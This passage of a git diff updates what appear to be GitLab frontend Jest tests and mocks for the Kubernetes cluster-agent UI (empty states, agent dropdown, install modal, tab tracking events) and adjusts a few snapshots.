+ title: 'cluster-agent created',
+ body: 'Token created by Administrator',
+ },
+
+ {
+ kind: 'token_revoked',
+ level: 'info',
+ recordedAt: '2021-12-03T00:26:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'token',
+ title: 'cluster-agent revoked',
+ body: 'Token revoked by Administrator',
+ },
+
+ {
+ kind: 'agent_connected',
+ level: 'info',
+ recordedAt: '2021-12-02T19:26:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'connected',
+ title: 'Connected',
+ body: 'Agent Connected',
+ },
+
+ {
+ kind: 'agent_disconnected',
+ level: 'info',
+ recordedAt: '2021-12-02T19:26:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'connected',
+ title: 'Not connected',
+ body: 'Agent Not connected',
+ },
+
+ {
+ kind: 'agent_connected',
+ level: 'info',
+ recordedAt: '2021-11-22T19:26:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'connected',
+ title: 'Connected',
+ body: 'Agent Connected',
+ },
+
+ {
+ kind: 'unknown_agent',
+ level: 'info',
+ recordedAt: '2021-11-22T19:26:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'token',
+ title: 'unknown_agent',
+ body: 'Event occurred',
+ },
+];
diff --git a/spec/frontend/clusters_list/components/agent_empty_state_spec.js b/spec/frontend/clusters_list/components/agent_empty_state_spec.js
index 38f0e0ba2c4..ed2a0d0b97b 100644
--- a/spec/frontend/clusters_list/components/agent_empty_state_spec.js
+++ b/spec/frontend/clusters_list/components/agent_empty_state_spec.js
@@ -1,34 +1,29 @@
-import { GlAlert, GlEmptyState, GlSprintf } from '@gitlab/ui';
+import { GlEmptyState, GlSprintf, GlLink, GlButton } from '@gitlab/ui';
import AgentEmptyState from '~/clusters_list/components/agent_empty_state.vue';
+import { INSTALL_AGENT_MODAL_ID } from '~/clusters_list/constants';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { helpPagePath } from '~/helpers/help_page_helper';
const emptyStateImage = '/path/to/image';
-const projectPath = 'path/to/project';
-const multipleClustersDocsUrl = helpPagePath('user/project/clusters/multiple_kubernetes_clusters');
-const installDocsUrl = helpPagePath('administration/clusters/kas');
+const installDocsUrl = helpPagePath('user/clusters/agent/index');
describe('AgentEmptyStateComponent', () => {
let wrapper;
-
- const propsData = {
- hasConfigurations: false,
- };
const provideData = {
emptyStateImage,
- projectPath,
};
- const findConfigurationsAlert = () => wrapper.findComponent(GlAlert);
- const findMultipleClustersDocsLink = () => wrapper.findByTestId('multiple-clusters-docs-link');
- const findInstallDocsLink = () => wrapper.findByTestId('install-docs-link');
- const findIntegrationButton = () => wrapper.findByTestId('integration-primary-button');
+ const findInstallDocsLink = () => wrapper.findComponent(GlLink);
+ const findIntegrationButton = () => wrapper.findComponent(GlButton);
const findEmptyState = () => wrapper.findComponent(GlEmptyState);
beforeEach(() => {
wrapper = shallowMountExtended(AgentEmptyState, {
- propsData,
provide: provideData,
+ directives: {
+ GlModalDirective: createMockDirective(),
+ },
stubs: { GlEmptyState, GlSprintf },
});
});
@@ -39,33 +34,21 @@ describe('AgentEmptyStateComponent', () => {
}
});
- it('renders correct href attributes for the links', () => {
- expect(findMultipleClustersDocsLink().attributes('href')).toBe(multipleClustersDocsUrl);
- expect(findInstallDocsLink().attributes('href')).toBe(installDocsUrl);
+ it('renders the empty state', () => {
+ expect(findEmptyState().exists()).toBe(true);
});
- describe('when there are no agent configurations in repository', () => {
- it('should render notification message box', () => {
- expect(findConfigurationsAlert().exists()).toBe(true);
- });
+ it('renders button for the agent registration', () => {
+ expect(findIntegrationButton().exists()).toBe(true);
+ });
- it('should disable integration button', () => {
- expect(findIntegrationButton().attributes('disabled')).toBe('true');
- });
+ it('renders correct href attributes for the docs link', () => {
+ expect(findInstallDocsLink().attributes('href')).toBe(installDocsUrl);
});
- describe('when there is a list of agent configurations', () => {
- beforeEach(() => {
- propsData.hasConfigurations = true;
- wrapper = shallowMountExtended(AgentEmptyState, {
- propsData,
- provide: provideData,
- });
- });
- it('should render content without notification message box', () => {
- expect(findEmptyState().exists()).toBe(true);
- expect(findConfigurationsAlert().exists()).toBe(false);
- expect(findIntegrationButton().attributes('disabled')).toBeUndefined();
- });
+ it('renders correct modal id for the agent registration modal', () => {
+ const binding = getBinding(findIntegrationButton().element, 'gl-modal-directive');
+
+ expect(binding.value).toBe(INSTALL_AGENT_MODAL_ID);
});
});
diff --git a/spec/frontend/clusters_list/components/agents_spec.js b/spec/frontend/clusters_list/components/agents_spec.js
index 2dec7cdc973..c9ca10f6bf7 100644
--- a/spec/frontend/clusters_list/components/agents_spec.js
+++ b/spec/frontend/clusters_list/components/agents_spec.js
@@ -19,7 +19,6 @@ describe('Agents', () => {
};
const provideData = {
projectPath: 'path/to/project',
- kasAddress: 'kas.example.com',
};
const createWrapper = ({ props = {}, agents = [], pageInfo = null, trees = [], count = 0 }) => {
@@ -27,6 +26,7 @@ describe('Agents', () => {
const apolloQueryResponse = {
data: {
project: {
+ id: '1',
clusterAgents: { nodes: agents, pageInfo, tokens: { nodes: [] }, count },
repository: { tree: { trees: { nodes: trees, pageInfo } } },
},
@@ -76,6 +76,7 @@ describe('Agents', () => {
tokens: {
nodes: [
{
+ id: 'token-1',
lastUsedAt: testDate,
},
],
@@ -87,6 +88,7 @@ describe('Agents', () => {
const trees = [
{
+ id: 'tree-1',
name: 'agent-2',
path: '.gitlab/agents/agent-2',
webPath: '/project/path/.gitlab/agents/agent-2',
@@ -216,24 +218,6 @@ describe('Agents', () => {
});
});
- describe('when the agent configurations are present', () => {
- const trees = [
- {
- name: 'agent-1',
- path: '.gitlab/agents/agent-1',
- webPath: '/project/path/.gitlab/agents/agent-1',
- },
- ];
-
- beforeEach(() => {
- return createWrapper({ agents: [], trees });
- });
-
- it('should pass the correct hasConfigurations boolean value to empty state component', () => {
- expect(findEmptyState().props('hasConfigurations')).toEqual(true);
- });
- });
-
describe('when agents query has errored', () => {
beforeEach(() => {
return createWrapper({ agents: null });
diff --git a/spec/frontend/clusters_list/components/available_agents_dropwdown_spec.js b/spec/frontend/clusters_list/components/available_agents_dropwdown_spec.js
index 40c2c59e187..bcc1d4e8b9e 100644
--- a/spec/frontend/clusters_list/components/available_agents_dropwdown_spec.js
+++ b/spec/frontend/clusters_list/components/available_agents_dropwdown_spec.js
@@ -1,14 +1,7 @@
import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { createLocalVue, mount } from '@vue/test-utils';
-import VueApollo from 'vue-apollo';
+import { shallowMount } from '@vue/test-utils';
import AvailableAgentsDropdown from '~/clusters_list/components/available_agents_dropdown.vue';
import { I18N_AVAILABLE_AGENTS_DROPDOWN } from '~/clusters_list/constants';
-import agentConfigurationsQuery from '~/clusters_list/graphql/queries/agent_configurations.query.graphql';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import { agentConfigurationsResponse } from './mock_data';
-
-const localVue = createLocalVue();
-localVue.use(VueApollo);
describe('AvailableAgentsDropdown', () => {
let wrapper;
@@ -18,46 +11,19 @@ describe('AvailableAgentsDropdown', () => {
const findDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
const findConfiguredAgentItem = () => findDropdownItems().at(0);
- const createWrapper = ({ propsData = {}, isLoading = false }) => {
- const provide = {
- projectPath: 'path/to/project',
- };
-
- wrapper = (() => {
- if (isLoading) {
- const mocks = {
- $apollo: {
- queries: {
- agents: {
- loading: true,
- },
- },
- },
- };
-
- return mount(AvailableAgentsDropdown, { mocks, provide, propsData });
- }
-
- const apolloProvider = createMockApollo([
- [agentConfigurationsQuery, jest.fn().mockResolvedValue(agentConfigurationsResponse)],
- ]);
-
- return mount(AvailableAgentsDropdown, {
- localVue,
- apolloProvider,
- provide,
- propsData,
- });
- })();
+ const createWrapper = ({ propsData }) => {
+ wrapper = shallowMount(AvailableAgentsDropdown, {
+ propsData,
+ });
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('there are agents available', () => {
const propsData = {
+ availableAgents: ['configured-agent'],
isRegistering: false,
};
@@ -69,12 +35,6 @@ describe('AvailableAgentsDropdown', () => {
expect(findDropdown().props('text')).toBe(i18n.selectAgent);
});
- it('shows only agents that are not yet installed', () => {
- expect(findDropdownItems()).toHaveLength(1);
- expect(findConfiguredAgentItem().text()).toBe('configured-agent');
- expect(findConfiguredAgentItem().props('isChecked')).toBe(false);
- });
-
describe('click events', () => {
beforeEach(() => {
findConfiguredAgentItem().vm.$emit('click');
@@ -93,6 +53,7 @@ describe('AvailableAgentsDropdown', () => {
describe('registration in progress', () => {
const propsData = {
+ availableAgents: ['configured-agent'],
isRegistering: true,
};
@@ -108,22 +69,4 @@ describe('AvailableAgentsDropdown', () => {
expect(findDropdown().props('loading')).toBe(true);
});
});
-
- describe('agents query is loading', () => {
- const propsData = {
- isRegistering: false,
- };
-
- beforeEach(() => {
- createWrapper({ propsData, isLoading: true });
- });
-
- it('updates the text in the dropdown', () => {
- expect(findDropdown().text()).toBe(i18n.selectAgent);
- });
-
- it('displays a loading icon', () => {
- expect(findDropdown().props('loading')).toBe(true);
- });
- });
});
diff --git a/spec/frontend/clusters_list/components/clusters_empty_state_spec.js b/spec/frontend/clusters_list/components/clusters_empty_state_spec.js
index f7e1791d0f7..cf0f6881960 100644
--- a/spec/frontend/clusters_list/components/clusters_empty_state_spec.js
+++ b/spec/frontend/clusters_list/components/clusters_empty_state_spec.js
@@ -6,35 +6,33 @@ import ClusterStore from '~/clusters_list/store';
const clustersEmptyStateImage = 'path/to/svg';
const newClusterPath = '/path/to/connect/cluster';
const emptyStateHelpText = 'empty state text';
-const canAddCluster = true;
describe('ClustersEmptyStateComponent', () => {
let wrapper;
- const propsData = {
- isChildComponent: false,
- };
-
- const provideData = {
+ const defaultProvideData = {
clustersEmptyStateImage,
- emptyStateHelpText: null,
newClusterPath,
};
- const entryData = {
- canAddCluster,
- };
-
const findButton = () => wrapper.findComponent(GlButton);
const findEmptyStateText = () => wrapper.findByTestId('clusters-empty-state-text');
- beforeEach(() => {
+ const createWrapper = ({
+ provideData = { emptyStateHelpText: null },
+ isChildComponent = false,
+ canAddCluster = true,
+ } = {}) => {
wrapper = shallowMountExtended(ClustersEmptyState, {
- store: ClusterStore(entryData),
- propsData,
- provide: provideData,
+ store: ClusterStore({ canAddCluster }),
+ propsData: { isChildComponent },
+ provide: { ...defaultProvideData, ...provideData },
stubs: { GlEmptyState },
});
+ };
+
+ beforeEach(() => {
+ createWrapper();
});
afterEach(() => {
@@ -55,16 +53,7 @@ describe('ClustersEmptyStateComponent', () => {
describe('when the component is loaded as a child component', () => {
beforeEach(() => {
- propsData.isChildComponent = true;
- wrapper = shallowMountExtended(ClustersEmptyState, {
- store: ClusterStore(entryData),
- propsData,
- provide: provideData,
- });
- });
-
- afterEach(() => {
- propsData.isChildComponent = false;
+ createWrapper({ isChildComponent: true });
});
it('should not render the action button', () => {
@@ -74,12 +63,7 @@ describe('ClustersEmptyStateComponent', () => {
describe('when the help text is provided', () => {
beforeEach(() => {
- provideData.emptyStateHelpText = emptyStateHelpText;
- wrapper = shallowMountExtended(ClustersEmptyState, {
- store: ClusterStore(entryData),
- propsData,
- provide: provideData,
- });
+ createWrapper({ provideData: { emptyStateHelpText } });
});
it('should show the empty state text', () => {
@@ -88,14 +72,8 @@ describe('ClustersEmptyStateComponent', () => {
});
describe('when the user cannot add clusters', () => {
- entryData.canAddCluster = false;
beforeEach(() => {
- wrapper = shallowMountExtended(ClustersEmptyState, {
- store: ClusterStore(entryData),
- propsData,
- provide: provideData,
- stubs: { GlEmptyState },
- });
+ createWrapper({ canAddCluster: false });
});
it('should disable the button', () => {
expect(findButton().props('disabled')).toBe(true);
diff --git a/spec/frontend/clusters_list/components/clusters_main_view_spec.js b/spec/frontend/clusters_list/components/clusters_main_view_spec.js
index c2233e5d39c..37665bf7abd 100644
--- a/spec/frontend/clusters_list/components/clusters_main_view_spec.js
+++ b/spec/frontend/clusters_list/components/clusters_main_view_spec.js
@@ -1,5 +1,6 @@
import { GlTabs, GlTab } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { mockTracking } from 'helpers/tracking_helper';
import ClustersMainView from '~/clusters_list/components/clusters_main_view.vue';
import InstallAgentModal from '~/clusters_list/components/install_agent_modal.vue';
import {
@@ -8,12 +9,15 @@ import {
CLUSTERS_TABS,
MAX_CLUSTERS_LIST,
MAX_LIST_COUNT,
+ EVENT_LABEL_TABS,
+ EVENT_ACTIONS_CHANGE,
} from '~/clusters_list/constants';
const defaultBranchName = 'default-branch';
describe('ClustersMainViewComponent', () => {
let wrapper;
+ let trackingSpy;
const propsData = {
defaultBranchName,
@@ -23,6 +27,7 @@ describe('ClustersMainViewComponent', () => {
wrapper = shallowMountExtended(ClustersMainView, {
propsData,
});
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
});
afterEach(() => {
@@ -54,10 +59,10 @@ describe('ClustersMainViewComponent', () => {
describe('tabs', () => {
it.each`
- tabTitle | queryParamValue | lineNumber
- ${'All'} | ${'all'} | ${0}
- ${'Agent'} | ${AGENT} | ${1}
- ${'Certificate based'} | ${CERTIFICATE_BASED} | ${2}
+ tabTitle | queryParamValue | lineNumber
+ ${'All'} | ${'all'} | ${0}
+ ${'Agent'} | ${AGENT} | ${1}
+ ${'Certificate'} | ${CERTIFICATE_BASED} | ${2}
`(
'renders correct tab title and query param value',
({ tabTitle, queryParamValue, lineNumber }) => {
@@ -71,6 +76,7 @@ describe('ClustersMainViewComponent', () => {
beforeEach(() => {
findComponent().vm.$emit('changeTab', AGENT);
});
+
it('changes the tab', () => {
expect(findTabs().attributes('value')).toBe('1');
});
@@ -78,5 +84,13 @@ describe('ClustersMainViewComponent', () => {
it('passes correct max-agents param to the modal', () => {
expect(findModal().props('maxAgents')).toBe(MAX_LIST_COUNT);
});
+
+ it('sends the correct tracking event', () => {
+ findTabs().vm.$emit('input', 1);
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTIONS_CHANGE, {
+ label: EVENT_LABEL_TABS,
+ property: AGENT,
+ });
+ });
});
});
diff --git a/spec/frontend/clusters_list/components/install_agent_modal_spec.js b/spec/frontend/clusters_list/components/install_agent_modal_spec.js
index 6c2ea45b99b..4d1429c9e50 100644
--- a/spec/frontend/clusters_list/components/install_agent_modal_spec.js
+++ b/spec/frontend/clusters_list/components/install_agent_modal_spec.js
@@ -1,10 +1,21 @@
import { GlAlert, GlButton, GlFormInputGroup } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { mockTracking } from 'helpers/tracking_helper';
import AvailableAgentsDropdown from '~/clusters_list/components/available_agents_dropdown.vue';
import InstallAgentModal from '~/clusters_list/components/install_agent_modal.vue';
-import { I18N_INSTALL_AGENT_MODAL, MAX_LIST_COUNT } from '~/clusters_list/constants';
+import {
+ I18N_AGENT_MODAL,
+ MAX_LIST_COUNT,
+ EVENT_LABEL_MODAL,
+ EVENT_ACTIONS_OPEN,
+ EVENT_ACTIONS_SELECT,
+ MODAL_TYPE_EMPTY,
+ MODAL_TYPE_REGISTER,
+} from '~/clusters_list/constants';
import getAgentsQuery from '~/clusters_list/graphql/queries/get_agents.query.graphql';
+import getAgentConfigurations from '~/clusters_list/graphql/queries/agent_configurations.query.graphql';
import createAgentMutation from '~/clusters_list/graphql/mutations/create_agent.mutation.graphql';
import createAgentTokenMutation from '~/clusters_list/graphql/mutations/create_agent_token.mutation.graphql';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -23,14 +34,28 @@ const localVue = createLocalVue();
localVue.use(VueApollo);
const projectPath = 'path/to/project';
+const kasAddress = 'kas.example.com';
+const kasEnabled = true;
+const emptyStateImage = 'path/to/image';
const defaultBranchName = 'default';
const maxAgents = MAX_LIST_COUNT;
describe('InstallAgentModal', () => {
let wrapper;
let apolloProvider;
+ let trackingSpy;
+
+ const configurations = [{ agentName: 'agent-name' }];
+ const apolloQueryResponse = {
+ data: {
+ project: {
+ id: '1',
+ clusterAgents: { nodes: [] },
+ agentConfigurations: { nodes: configurations },
+ },
+ },
+ };
- const i18n = I18N_INSTALL_AGENT_MODAL;
const findModal = () => wrapper.findComponent(ModalStub);
const findAgentDropdown = () => findModal().findComponent(AvailableAgentsDropdown);
const findAlert = () => findModal().findComponent(GlAlert);
@@ -40,6 +65,8 @@ describe('InstallAgentModal', () => {
.wrappers.find((button) => button.props('variant') === variant);
const findActionButton = () => findButtonByVariant('confirm');
const findCancelButton = () => findButtonByVariant('default');
+ const findSecondaryButton = () => wrapper.findByTestId('agent-secondary-button');
+ const findImage = () => wrapper.findByRole('img', { alt: I18N_AGENT_MODAL.empty_state.altText });
const expectDisabledAttribute = (element, disabled) => {
if (disabled) {
@@ -52,7 +79,9 @@ describe('InstallAgentModal', () => {
const createWrapper = () => {
const provide = {
projectPath,
- kasAddress: 'kas.example.com',
+ kasAddress,
+ kasEnabled,
+ emptyStateImage,
};
const propsData = {
@@ -60,7 +89,7 @@ describe('InstallAgentModal', () => {
maxAgents,
};
- wrapper = shallowMount(InstallAgentModal, {
+ wrapper = shallowMountExtended(InstallAgentModal, {
attachTo: document.body,
stubs: {
GlModal: ModalStub,
@@ -85,10 +114,12 @@ describe('InstallAgentModal', () => {
});
};
- const mockSelectedAgentResponse = () => {
+ const mockSelectedAgentResponse = async () => {
createWrapper();
writeQuery();
+ await wrapper.vm.$nextTick();
+
wrapper.vm.setAgentName('agent-name');
findActionButton().vm.$emit('click');
@@ -96,120 +127,182 @@ describe('InstallAgentModal', () => {
};
beforeEach(() => {
+ apolloProvider = createMockApollo([
+ [getAgentConfigurations, jest.fn().mockResolvedValue(apolloQueryResponse)],
+ ]);
createWrapper();
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
});
afterEach(() => {
wrapper.destroy();
- wrapper = null;
apolloProvider = null;
});
- describe('initial state', () => {
- it('renders the dropdown for available agents', () => {
- expect(findAgentDropdown().isVisible()).toBe(true);
- expect(findModal().text()).not.toContain(i18n.basicInstallTitle);
- expect(findModal().findComponent(GlFormInputGroup).exists()).toBe(false);
- expect(findModal().findComponent(GlAlert).exists()).toBe(false);
- expect(findModal().findComponent(CodeBlock).exists()).toBe(false);
- });
+ describe('when agent configurations are present', () => {
+ const i18n = I18N_AGENT_MODAL.agent_registration;
- it('renders a cancel button', () => {
- expect(findCancelButton().isVisible()).toBe(true);
- expectDisabledAttribute(findCancelButton(), false);
- });
+ describe('initial state', () => {
+ it('renders the dropdown for available agents', () => {
+ expect(findAgentDropdown().isVisible()).toBe(true);
+ expect(findModal().text()).not.toContain(i18n.basicInstallTitle);
+ expect(findModal().findComponent(GlFormInputGroup).exists()).toBe(false);
+ expect(findModal().findComponent(GlAlert).exists()).toBe(false);
+ expect(findModal().findComponent(CodeBlock).exists()).toBe(false);
+ });
- it('renders a disabled next button', () => {
- expect(findActionButton().isVisible()).toBe(true);
- expect(findActionButton().text()).toBe(i18n.registerAgentButton);
- expectDisabledAttribute(findActionButton(), true);
- });
- });
+ it('renders a cancel button', () => {
+ expect(findCancelButton().isVisible()).toBe(true);
+ expectDisabledAttribute(findCancelButton(), false);
+ });
- describe('an agent is selected', () => {
- beforeEach(() => {
- findAgentDropdown().vm.$emit('agentSelected');
- });
+ it('renders a disabled next button', () => {
+ expect(findActionButton().isVisible()).toBe(true);
+ expect(findActionButton().text()).toBe(i18n.registerAgentButton);
+ expectDisabledAttribute(findActionButton(), true);
+ });
- it('enables the next button', () => {
- expect(findActionButton().isVisible()).toBe(true);
- expectDisabledAttribute(findActionButton(), false);
+ it('sends the event with the modalType', () => {
+ findModal().vm.$emit('show');
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTIONS_OPEN, {
+ label: EVENT_LABEL_MODAL,
+ property: MODAL_TYPE_REGISTER,
+ });
+ });
});
- });
- describe('registering an agent', () => {
- const createAgentHandler = jest.fn().mockResolvedValue(createAgentResponse);
- const createAgentTokenHandler = jest.fn().mockResolvedValue(createAgentTokenResponse);
+ describe('an agent is selected', () => {
+ beforeEach(() => {
+ findAgentDropdown().vm.$emit('agentSelected');
+ });
- beforeEach(() => {
- apolloProvider = createMockApollo([
- [createAgentMutation, createAgentHandler],
- [createAgentTokenMutation, createAgentTokenHandler],
- ]);
+ it('enables the next button', () => {
+ expect(findActionButton().isVisible()).toBe(true);
+ expectDisabledAttribute(findActionButton(), false);
+ });
- return mockSelectedAgentResponse(apolloProvider);
+ it('sends the correct tracking event', () => {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTIONS_SELECT, {
+ label: EVENT_LABEL_MODAL,
+ });
+ });
});
- it('creates an agent and token', () => {
- expect(createAgentHandler).toHaveBeenCalledWith({
- input: { name: 'agent-name', projectPath },
- });
+ describe('registering an agent', () => {
+ const createAgentHandler = jest.fn().mockResolvedValue(createAgentResponse);
+ const createAgentTokenHandler = jest.fn().mockResolvedValue(createAgentTokenResponse);
- expect(createAgentTokenHandler).toHaveBeenCalledWith({
- input: { clusterAgentId: 'agent-id', name: 'agent-name' },
+ beforeEach(() => {
+ apolloProvider = createMockApollo([
+ [getAgentConfigurations, jest.fn().mockResolvedValue(apolloQueryResponse)],
+ [createAgentMutation, createAgentHandler],
+ [createAgentTokenMutation, createAgentTokenHandler],
+ ]);
+
+ return mockSelectedAgentResponse();
});
- });
- it('renders a close button', () => {
- expect(findActionButton().isVisible()).toBe(true);
- expect(findActionButton().text()).toBe(i18n.close);
- expectDisabledAttribute(findActionButton(), false);
- });
+ it('creates an agent and token', () => {
+ expect(createAgentHandler).toHaveBeenCalledWith({
+ input: { name: 'agent-name', projectPath },
+ });
- it('shows agent instructions', () => {
- const modalText = findModal().text();
- expect(modalText).toContain(i18n.basicInstallTitle);
- expect(modalText).toContain(i18n.basicInstallBody);
+ expect(createAgentTokenHandler).toHaveBeenCalledWith({
+ input: { clusterAgentId: 'agent-id', name: 'agent-name' },
+ });
+ });
- const token = findModal().findComponent(GlFormInputGroup);
- expect(token.props('value')).toBe('mock-agent-token');
+ it('renders a close button', () => {
+ expect(findActionButton().isVisible()).toBe(true);
+ expect(findActionButton().text()).toBe(i18n.close);
+ expectDisabledAttribute(findActionButton(), false);
+ });
- const alert = findModal().findComponent(GlAlert);
- expect(alert.props('title')).toBe(i18n.tokenSingleUseWarningTitle);
+ it('shows agent instructions', () => {
+ const modalText = findModal().text();
+ expect(modalText).toContain(i18n.basicInstallTitle);
+ expect(modalText).toContain(i18n.basicInstallBody);
- const code = findModal().findComponent(CodeBlock).props('code');
- expect(code).toContain('--agent-token=mock-agent-token');
- expect(code).toContain('--kas-address=kas.example.com');
- });
+ const token = findModal().findComponent(GlFormInputGroup);
+ expect(token.props('value')).toBe('mock-agent-token');
- describe('error creating agent', () => {
- beforeEach(() => {
- apolloProvider = createMockApollo([
- [createAgentMutation, jest.fn().mockResolvedValue(createAgentErrorResponse)],
- ]);
+ const alert = findModal().findComponent(GlAlert);
+ expect(alert.props('title')).toBe(i18n.tokenSingleUseWarningTitle);
- return mockSelectedAgentResponse();
+ const code = findModal().findComponent(CodeBlock).props('code');
+ expect(code).toContain('--agent-token=mock-agent-token');
+ expect(code).toContain('--kas-address=kas.example.com');
+ });
+
+ describe('error creating agent', () => {
+ beforeEach(() => {
+ apolloProvider = createMockApollo([
+ [getAgentConfigurations, jest.fn().mockResolvedValue(apolloQueryResponse)],
+ [createAgentMutation, jest.fn().mockResolvedValue(createAgentErrorResponse)],
+ ]);
+
+ return mockSelectedAgentResponse();
+ });
+
+ it('displays the error message', () => {
+ expect(findAlert().text()).toBe(
+ createAgentErrorResponse.data.createClusterAgent.errors[0],
+ );
+ });
});
- it('displays the error message', () => {
- expect(findAlert().text()).toBe(createAgentErrorResponse.data.createClusterAgent.errors[0]);
+ describe('error creating token', () => {
+ beforeEach(() => {
+ apolloProvider = createMockApollo([
+ [getAgentConfigurations, jest.fn().mockResolvedValue(apolloQueryResponse)],
+ [createAgentMutation, jest.fn().mockResolvedValue(createAgentResponse)],
+ [createAgentTokenMutation, jest.fn().mockResolvedValue(createAgentTokenErrorResponse)],
+ ]);
+
+ return mockSelectedAgentResponse();
+ });
+
+ it('displays the error message', async () => {
+ expect(findAlert().text()).toBe(
+ createAgentTokenErrorResponse.data.clusterAgentTokenCreate.errors[0],
+ );
+ });
});
});
+ });
- describe('error creating token', () => {
- beforeEach(() => {
- apolloProvider = createMockApollo([
- [createAgentMutation, jest.fn().mockResolvedValue(createAgentResponse)],
- [createAgentTokenMutation, jest.fn().mockResolvedValue(createAgentTokenErrorResponse)],
- ]);
+ describe('when there are no agent configurations present', () => {
+ const i18n = I18N_AGENT_MODAL.empty_state;
+ const apolloQueryEmptyResponse = {
+ data: {
+ project: {
+ clusterAgents: { nodes: [] },
+ agentConfigurations: { nodes: [] },
+ },
+ },
+ };
- return mockSelectedAgentResponse();
- });
+ beforeEach(() => {
+ apolloProvider = createMockApollo([
+ [getAgentConfigurations, jest.fn().mockResolvedValue(apolloQueryEmptyResponse)],
+ ]);
+ createWrapper();
+ });
+
+ it('renders empty state image', () => {
+ expect(findImage().attributes('src')).toBe(emptyStateImage);
+ });
+
+ it('renders a secondary button', () => {
+ expect(findSecondaryButton().isVisible()).toBe(true);
+ expect(findSecondaryButton().text()).toBe(i18n.secondaryButton);
+ });
- it('displays the error message', () => {
- expect(findAlert().text()).toBe(
- createAgentTokenErrorResponse.data.clusterAgentTokenCreate.errors[0],
- );
+ it('sends the event with the modalType', () => {
+ findModal().vm.$emit('show');
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTIONS_OPEN, {
+ label: EVENT_LABEL_MODAL,
+ property: MODAL_TYPE_EMPTY,
});
});
});
diff --git a/spec/frontend/clusters_list/mocks/apollo.js b/spec/frontend/clusters_list/mocks/apollo.js
index 1a7ef84a6d9..804f9834506 100644
--- a/spec/frontend/clusters_list/mocks/apollo.js
+++ b/spec/frontend/clusters_list/mocks/apollo.js
@@ -65,6 +65,7 @@ export const createAgentTokenErrorResponse = {
export const getAgentResponse = {
data: {
project: {
+ id: 'project-1',
clusterAgents: { nodes: [{ ...agent, tokens }], pageInfo, count },
repository: {
tree: {
diff --git a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
index 118d8ceceb9..97d9be110c8 100644
--- a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
+++ b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
@@ -42,6 +42,8 @@ exports[`Code navigation popover component renders popover 1`] = `
<span>
main() {
</span>
+
+ <br />
</span>
<span
class="line"
@@ -50,6 +52,8 @@ exports[`Code navigation popover component renders popover 1`] = `
<span>
}
</span>
+
+ <br />
</span>
</pre>
</div>
diff --git a/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap b/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap
index 178c7d749c8..7abd6b422ad 100644
--- a/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap
+++ b/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap
@@ -19,7 +19,7 @@ exports[`content_editor/components/toolbar_link_button renders dropdown componen
<div placeholder=\\"Link URL\\">
<div role=\\"group\\" class=\\"input-group\\">
<!---->
- <!----> <input type=\\"text\\" placeholder=\\"Link URL\\" class=\\"gl-form-input form-control\\">
+ <!----> <input type=\\"text\\" placeholder=\\"Link URL\\" class=\\"form-control gl-form-input\\">
<div class=\\"input-group-append\\"><button type=\\"button\\" class=\\"btn btn-confirm btn-md gl-button\\">
<!---->
<!----> <span class=\\"gl-button-text\\">Apply</span></button></div>
diff --git a/spec/frontend/content_editor/markdown_processing_examples.js b/spec/frontend/content_editor/markdown_processing_examples.js
deleted file mode 100644
index da895970289..00000000000
--- a/spec/frontend/content_editor/markdown_processing_examples.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import fs from 'fs';
-import path from 'path';
-import jsYaml from 'js-yaml';
-// eslint-disable-next-line import/no-deprecated
-import { getJSONFixture } from 'helpers/fixtures';
-
-export const loadMarkdownApiResult = (testName) => {
- const fixturePathPrefix = `api/markdown/${testName}.json`;
-
- // eslint-disable-next-line import/no-deprecated
- const fixture = getJSONFixture(fixturePathPrefix);
- return fixture.body || fixture.html;
-};
-
-export const loadMarkdownApiExamples = () => {
- const apiMarkdownYamlPath = path.join(__dirname, '..', 'fixtures', 'api_markdown.yml');
- const apiMarkdownYamlText = fs.readFileSync(apiMarkdownYamlPath);
- const apiMarkdownExampleObjects = jsYaml.safeLoad(apiMarkdownYamlText);
-
- return apiMarkdownExampleObjects.map(({ name, context, markdown }) => [name, context, markdown]);
-};
-
-export const loadMarkdownApiExample = (testName) => {
- return loadMarkdownApiExamples().find(([name, context]) => {
- return (context ? `${context}_${name}` : name) === testName;
- })[2];
-};
diff --git a/spec/frontend/content_editor/markdown_processing_spec.js b/spec/frontend/content_editor/markdown_processing_spec.js
index 71565768558..3930f47289a 100644
--- a/spec/frontend/content_editor/markdown_processing_spec.js
+++ b/spec/frontend/content_editor/markdown_processing_spec.js
@@ -1,20 +1,16 @@
-import { createContentEditor } from '~/content_editor';
-import { loadMarkdownApiExamples, loadMarkdownApiResult } from './markdown_processing_examples';
+import path from 'path';
+import { describeMarkdownProcessing } from 'jest/content_editor/markdown_processing_spec_helper';
jest.mock('~/emoji');
-describe('markdown processing', () => {
